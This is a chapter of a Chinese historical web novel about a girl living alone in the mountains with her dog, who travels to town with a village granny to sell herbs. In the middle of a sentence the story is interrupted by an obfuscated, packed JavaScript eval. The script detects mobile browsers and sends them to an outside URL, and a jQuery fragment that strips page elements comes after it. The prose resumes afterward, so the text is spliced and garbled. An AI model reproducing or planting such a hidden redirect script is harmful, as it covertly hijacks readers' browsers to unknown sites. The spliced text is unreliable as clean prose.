李婆子去后,许娇娇在屋角用木板给小狗搭了个窝,垫上干草,又将静尘送的旧粗布缝了块垫子铺在下头。小狗起初不愿独睡,夜里哼哼不止。许娇娇本想抱它上床,又恐它身上不洁,天寒地冻的,也不便给它洗浴,只得狠心让它睡在窝里。如此两夜过去,小狗便也惯了,只是白日格外粘人,她走到哪儿,它便跟到哪儿。
有了这小东西相伴,往日孤寂竟消散大半。她每日同它说话,逗它玩耍,连上山采药挖菜也带着它,还给它起了个名儿——旺财。
山中岁月,因着旺财,过得快了许多。转眼冬去春来,万物复苏。枯木抽绿,山花绽蕊,春笋也悄悄探出尖嫩的芽。渐渐地,山道上挖笋的人多了起来,许娇娇不时能遇见三五行人。
小旺财已长大了些,身形渐似狼犬,毛色乌黑油亮,被许娇娇喂养得精神抖擞,每日随她在山中转悠,好不自在。
许娇娇采的药草也积了不少,晒干堆在屋中。只是山里潮气重,春日雨水又多,她恐药材久放受潮,便想央李婆子带她进城一趟。可她不便托附近农人传话,只得静候李婆子再来。
接连几日落雨,许娇娇出不得门,便在屋里拾掇整顿。这里修修,那里补补,原本破败的茅屋竟也焕然一新。
她气力小,做不得重活,手却灵巧。她用藤条编了几个小花篮挂在墙上,里头插着山野采来的鲜卉;床头悬一串竹制的风铃,门边挂一袭竹帘;又用柔韧的稻草编了跪垫、坐垫,以藤条盘成小凳。唯有桌子因需劈开大竹,她无力为之,但吃饭用的竹碗、竹筷、竹筒,皆是她亲手慢慢制成。就连院子里,她也铺出一条石子小径,直通篱笆门,以免雨天泥泞;又在院后开垦出一小块地,种了些菜蔬。
菜种是李婆子应她所求带来的,另有一把铁锄、一柄石铲。许娇娇心中感激——这时代似乎仍颇落后,农具竟尚有石制的。
李婆子见了她屋中的布置,每回都要啧啧称奇,说她年纪虽小,却心思奇巧,不知这小脑袋里怎生想出这许多花样。
许娇娇有苦难言:独居深山,若不找些事做,怕真要闷出病来。
这一日,终将李婆子盼来。许娇娇迎她进屋,问过安好,听她说几句闲话,才提起想进城之事。
李婆子思忖片刻:一晃半年多过去,村里人已不大提起娇杏了。恰巧三日后是三月二十八,大郎他舅要进城卖山货。她本想让大郎舅舅替二郎几个捎些布料裁衣,又听说城里那日有热闹可瞧。这丫头孤苦可怜,带她进城看看也不妨事。
遂道:“乖囡想进城,倒也不是不行。正巧大郎他舅明儿进城卖山货,我原不大想去的,既然你想去,明儿我便带你走一遭。只是明儿需早早起身,乖囡不如今晚随我下山,明日天不亮就动身。”
“真的?太好了,阿婆!”许娇娇欢喜得直蹦,随即想起一事,又愁上眉梢,“可……可我采了好些药材,想带到城里去卖。这该如何是好?”
“哟!可了不得,乖囡竟还认得草药?”李婆子听了,非但不怪,反露出惊喜了然之色,“是你爹教你的罢?我说你自小不声不响,像个失了魂的,大伙都当你是个木头人,谁想你心里比谁都明白!开窍之后,更是伶俐,不但手巧,竟连草药都识得。好娇杏,真没让你娘失望。”
她略一沉吟,又道:“这般罢,我这就回家,让大郎他舅推车来帮你拉药材。你今夜便随车下山,住我那儿,明儿一早好进城。”
许娇娇喜出望外,拉着李婆子连声道谢。李婆子见她欢喜模样,也眉开眼笑,赶忙转身去喊人了。
次日,天还未亮,疏星仍缀在天边,李婆子的兄弟孙二根已候在门外。许娇娇在李婆子家厨房吃了一碗热粥,便随她出了门。
李婆子娘家姓孙,有两个兄弟,一个姐姐,父母早就亡故,李婆子嫁给落溪村的李家三房后,原先年轻那会儿村民大多叫她李家婶子,如今年岁长了,她的丈夫又走的早,村民便逐渐喊她李婆子、或着李阿婆。孙二根在家排行老二,大家都叫他孙二郎或孙二根。
昨夜从山上运回的药材,被孙二根装进一只硕大的粗麻布袋,搁在独轮车一侧。许娇娇算是开了眼界——这独轮车,她还是头一回见。昨晚孙二根来接她时,她还以为至少该有辆牛车,谁想竟是这般简陋。幸得孙二根思虑周全,带了麻袋,才将她所采药草尽数装下。
此刻见那独轮车,她不免有些歉然:孙二根自家还有两麻袋山笋与野味,若再装她的药草,车上便只容得下山笋了。她本想问为何不用牛车,话到嘴边又咽了回去——想来这时代牛价昂贵,寻常农家未必置办得起,便只静静立在旁看孙二根装车。
孙二根将两袋山笋捆扎妥当,又把野味串起挂在车把两侧。许娇娇瞥见边上另有一辆独轮车,由一少年推着。那少年约莫十几岁,天色尚暗,瞧不清面容,只见他身着时下农人常穿的短褐,腰束布带,阔腿裤的裤脚在脚踝处紧紧扎起,显得利落精神。头发束成单髻,余发披在脑后,正是未及弱冠的年纪。
少年见她们出来,朝李婆子唤了声“阿姑”。李婆子笑应了,问道:“三郎也同去?金桂的腿可好些了?”前一句问少年,后一句却是问孙二根。
“是啊阿姑,我随阿爹进城看看大哥,阿娘心里惦记着呢!”少年答道,嗓音有些沙哑,正处在变声的年纪。
“我阿娘这几日还好,只是阴雨天便疼得厉害些,劳阿姑挂心了。”孙二根还未开口,少年已抢先答了李婆子的问话。
听这番对答,许娇娇心下明了:这少年是李婆子的侄儿,名唤三郎;那“金桂”该是孙二根的妻室,似是腿脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222015|197528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有疾,莫非是风湿之症?
她正思量间,忽觉身子一轻——孙二根竟将她一把抱了起来。许娇娇猝不及防,险些惊叫出声,忙咬住下唇将呼声咽了回去。幸而天色昏黑,无人察觉。
孙二根将她安放在独轮车另一侧,对李婆子道:“娇杏坐我这车罢。阿姐便让三郎推你。”又转向少年叮嘱:“三郎仔细脚下,你阿姑年岁大了,可经不得颠簸。”
“是阿爹,我晓得的。”少年一边应着,一边扶李婆子稳稳坐上车。
李婆子笑着拍了拍少年的肩:“一转眼三郎也这般大了,该说媳妇了。前儿东村还有人打听你呢!”
“阿姑……”少年声音里透出几分腼腆。
李婆子笑了起来。
道路崎岖难行,难怪要用独轮车,行了一段,话题又转到金桂身上。
“唉,金桂年纪轻轻便落下这病,往后可怎生是好?”李婆子长叹一声,“如今也不知哪儿有好大夫,若能寻着,开几副药吃吃或能见效。听说大郎做工的那位吴大官人是个积善之家,每年冬日还布施穷苦,心肠甚好。二郎这回去见着你大哥,好生问问,能否求吴大官人引荐位良医,给你娘瞧瞧?”
“阿姐,莫为难大郎了。”孙二根闻言,推车的手顿了顿,又将颈间的纤绳往下松了松,车子明显快了几分,“吴大官人那样的人家,岂是咱们高攀得起的?没得让孩子作难。这回我打算去瓦子寻那位张大夫,听闻他岐黄之术甚是精湛,只是出诊价昂。若能求他开几副药,或许桂娘便能好转。”
听孙二根婉拒了李婆子的提议,许娇娇暗想:这孙二根是个老实人,话语间透着淳朴与慈爱。
“好是好,”李婆子接话道,“张大夫的诊金确是不菲。出一次诊,少说也要几百文钱,若再开药,只怕一两银子也打不住。”
独轮车在崎岖山路上咯吱前行。许娇娇听着他们姐弟二人的闲谈,从只言片语中推断,这时代风貌颇类唐宋,大官人亦是那时对有身份男子的尊称。
她安然坐在车侧,随车身轻轻摇晃。耳边是两人有一搭没一搭的家常话,眼里是渐淡的星子与缓缓亮起的天光。待东方浮起鱼肚白时,车子已驶上官道。路上行人渐密,多是推独轮车的农人,亦有赶牛车的、驱骡队驮货的商贾,还有乘轿的贵人。偶有鲜衣怒马的男女策骑掠过,扬起一阵烟尘,倏忽远去。许娇娇望着那飞扬的背影,心下不由泛起一丝羡慕。
车子在官道走了许久,久到许娇娇以为快要到了,没想到孙二根忽然将车子拐上了一条石子路,又走了盏茶功夫,人流多了起来,许娇娇环顾四周,沿着路两边有了许些店铺,卖吃食的、卖杂货的、卖布料的、打铁的等等,再往前走,一股河水腥气味扑面而来,只见一条波光粼粼的河呈现在眼前,竟是个码头。